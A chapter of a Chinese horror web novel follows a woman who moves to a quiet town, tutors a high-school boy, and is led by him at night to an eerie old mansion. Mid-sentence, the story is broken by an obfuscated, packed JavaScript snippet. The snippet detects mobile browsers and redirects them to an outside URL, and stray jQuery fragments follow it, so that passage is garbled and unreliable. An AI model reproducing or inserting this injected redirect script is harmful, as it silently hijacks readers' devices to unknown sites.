我搬进上襄镇的那天是五月十五，日头正好，下车时明亮的光线不得不让我眯起眼睛。汗水滑入短衫，我吃力地将行李往一栋房子里搬。周边住宅的居民正坐在门口唠嗑，见我到来都不自觉停下交谈，将目光牢牢地锁在我的身上。


    作为一个不喜社交的人来说，这些非善非恶的眼神让我如芒在背。我手忙脚乱地将行李扔进屋子，又和搬家师傅结算了路费。


    她们嗫嚅着嘴唇似乎想同我说话，但最终都没有开口。我想她们或许看见了我的窘迫，这才没有用家长里短式的询问来为难我这个外乡人。


    简单收拾了积了一层灰尘的屋子，我就瘫倒在床上不肯起来，连饭也懒得做。迷迷糊糊睡了一觉，我再睁眼时只觉得头顶刷得灰白的天花板在旋转，房门和窗子都移了位置。


    这种眩晕感很奇妙，让我有些喜欢。这一年太忙，忙到我都忽略了自己的身体状况。辞职后我找了好久才找到这里，小镇子的节奏总是很慢，我想没有比这里更合适我休养的地方了。


    安静的环境总是让人心旷神怡，邻居们不坐在门外唠嗑的时候，我就蹲在屋前荒芜的院子里看杂草，或者挖挖土。


    但与世隔绝总是我的一厢情愿，镇上的人总有逢人就打招呼的本事。一个中年妇人推着婴儿车经过院子门口，不知道怎的就停在了我的院子前：“小姑娘，你是刚搬到这里来的吧。”


    我忙起身，露出礼貌的微笑。她似乎对我很感兴趣，同我多攀谈了两句，很快就摸清楚我的底细。


    “哎呀，我突然想起来，这附近有一人家想找英语家教呢。孩子在读高中，就趁着这个暑假给孩子补补课。暑假在读书的大学生回来得多，好找，现在趁着大学生还没回来，你要不去问问看？”


    “我？”说一点都不动心是假的，毕竟据我所知家教还挺赚钱的，空闲时间也多，只是不太稳定。我最终还是承认了自己有兴趣，她给我了一串电话号码，联系人叫宋梅平，是学生的母亲。


    我从来都是害怕打电话的，甚至比面对面还要抗拒。摇摆了一个晚上，我还是打通了电话。


    “你来吧。”接电话的正是宋梅平，她的语气轻松温和，消解了我的紧张。事情发展得出乎意料得顺利，放下电话的手微微有些颤抖，喜悦从心底一点点升起，我透过窗户看向铺满霞光的天空，听着屋外沙沙的风声，心又渐渐平静下来。


    周末，我来到雇主家，只有宋梅平母子在家。整个会面的过程非常迅速，宋梅平先是问过我的学籍，又让学生出来同我见了一面，见他点头，便将我留了下来。


    “老师好。”学生叫袁宋，下半年要读高二，他所在的高中比较宽松，即将到来的暑假甚至都没有补习，所以他的父母才想着找个家教。


    “老师坐吧，我先写一会儿题，写完后给您看看，您再针对性地给我讲解。”这是期末考前的一个周末，我看着他自觉搬出试卷来做题。


    我对他的第一印象就是自律，这么自律的学生也要找家教？而且我对长相干净的人有一种莫名的滤镜，总觉得他们应该是很少让周围人操心的那一类学生。这也不是独属于我的刻板印象，我将自己的经验直白地抽成一根线，或许与这种印象还真有几分关联。


    “老师为什么要搬到这里来？您不愿意留在大城市吗？”袁宋突然抬头问我。


    “嗯？”我对他直白的打探一时惊到，随即摇了摇头，“不是，我只是想找个清静的地方休养一段时间。”


    “您生病了？”


    “也不算，只是想休息一下。”我不欲过多说自己的情况，每个人都会有心累的时候，也会有心病，我不想让别人知道我矫情，尽管我就是这样的人。


    “那老师好好休养，我不会给您添麻烦的。”他对我温和地笑了笑，然后埋头继续做题。


    见他如此听话，我对他的印象不由得好了几分，教他也更有耐心了些。


    转眼间我来镇子上已经有半个月之久，袁宋也完成期末考试迎来了暑假。我眯着眼想起自己读高中那会儿，补课蔚然成风，塞满了试卷的暑假也不过二十天，简直丧失人性。


    “啊，老师的学校竟然是这样的吗？”听我随口讲了几句自己的高中生涯，袁宋表现得很惊讶，随即又诚恳地问我，“这样教出的学生是不是成绩都很好呢？”


    我说不是。这是个很讽刺的问题，永远绷着一根筋，终有一天会断的吧。


    “这个暑假老师如果没有给我补习的话，会做什么呢？”袁宋问我。


    “应该在家里看看书，或者看看草吧。”我漫不经心地回答。


    “哦，这样也太无趣了一些，幸好您来了。”袁宋弯了弯眉眼，在我发呆的时候给我泡了一杯温茶。我感慨于这孩子的细心，笑着朝他表示了感谢。


    头有些昏，身上有些冷，我迷迷糊糊从沙发上坐起，发现自己还在学生家的客厅。此时的天已经黑了，客厅里却没有一束灯光。这个点大人不是应该回来了吗？对了，袁宋呢，这孩子怎么不叫醒我？显得我这个当家教的太不负责，这是我最在意的点。


    站起身活动了一下筋骨，我循着记忆走向玄关，不知道是不是睡得太久的原因，我总觉得脚步有些虚浮。明天没有安排教学，我还是回去好好休息一下吧，嗯，还要记得吃晚饭。


    只是按照平常的路线回家，没想到我却意外发现了一座我从来没有在意过的房子。我站在一处空荡荡的二层楼房面前，院子里杂草丛生，比起我那里遑不相让。大门大喇喇开着，一阵风吹过，只有门撞到铁皮簸箕的声音。


    好空，好荒凉，这是我对这栋楼的第一印象。我走到院门口往里面瞧，客厅里竟然也是空荡荡的，墙面上贴了很多传单。传单几乎都一个样子，上面是几个模糊不清的大字，下面是一串数字，像是电话号码。那就是没人住了，我好奇地走进这座没有栅栏的院子里。


    “老师！”袁宋的声音将我的思绪拉回来。他快步走到我身边，语气有些焦急：“老师怎么到这里来了？”


    “哦，我正准备回去呢，不知


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156077|164941||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    道怎么走到这里来了，”我看了一眼他手上的烧烤盒，就说他怎么不在家，原来是去买吃的去了，我朝他摆摆手，“那我回去了。”


    我说完就准备离开，却被他拉住：“老师，你走错了，这里不是回去的路。”


    袁宋神情认真地看着我，拉着我的手腕带我走上了一条方向完全相反的路。


    天很昏暗，看不见星月，倒是我脚下的水泥路显得有点亮。等我恍过神来，我们已经走过水泥路段来到了泥土小道。这里是哪里？这完全不是我熟悉的路，没想到在我不知不觉间就跟着一个孩子走了这么远。


    “老师，别回头！”


    他出声已经太晚了，我已经挣开他的手站在了原地回头望去。是一望无际的黑暗，从路中心开始向外发散，永无止尽。


    “来不及了。”袁宋强行拉着我向前方奔跑，我的心跳因恐惧而加快，直觉告诉我我的背后跟着什么东西，它们紧追不舍，似乎只要我慢下来就会被吞噬。


    我想活着，求生的欲望猛地攀上心头，刺激着我不知疲倦地和袁宋一起往前跑去。在危险追赶的时候，所有关于时间的感知是不准确的。我感觉过了漫长的时间，肺部的空气开始稀薄，脚步也变得沉重。这个时候，我看见了光，橙红的灯笼发着象征着希望的光。


    袁宋拉着我走到灯笼下站着，我抬头打量着这扇大门，是仿古样式，看起来就很厚重。


    我看见袁宋一直警惕地朝四周打量，眉宇间似乎有些焦急。然后他抬手敲了敲门环，“砰砰砰”，不久就走出一个五十岁左右的男人，他穿着右衽黑色长衫，站在大门前的灯笼下，简直要和这座宅子融为一体。


    “叨扰贵家，我叫袁宋，这位是我的老师。今天出了点意外，我们没法回家，希望能借宿一晚，请先生转告主人家。”袁宋的语气有些快，我觉得他的行为非常古怪，但眼前不是问问题的时候，于是我没有插话。


    男人听了只是微微颔首，没有先回去转告主人家，反而直接招呼我们进去。心里的疑惑越来越深，我只能跟着袁宋走进宅子里。


    我还是第一次见到这样大的仿古住宅，最特别的一点是，它没有那些仿古建筑的精致感和现代感，反而有一种老旧沉闷的氛围，行走在游廊里仿佛真的有一种穿越到几百年前的感觉。


    宅子里点了很多灯，但院子并没有被它们照亮，依旧是昏暗的模样。前院似乎很大，我们跟着游廊走了一会儿才看到房子，在灯笼的映照下，这个房子显得很普通，我无法判断它是不是正屋。


    依旧是一扇大门，推开，正对着我们的是一条走廊，左右是两排屋子，每一排有六间。走廊尽头又是一扇门，紧紧关闭着，但是粗看起来比我背后的这扇门要精致一些。


    “劳烦二位在这边休息。”男人，不，应该称为管家给我们打开了两间邻近的屋子，我走进去的时候其他房间都紧紧关闭着门。


    “老师，晚上无论您听到什么，或是看到什么，一定不要开门。”关门前，袁宋如此叮嘱我。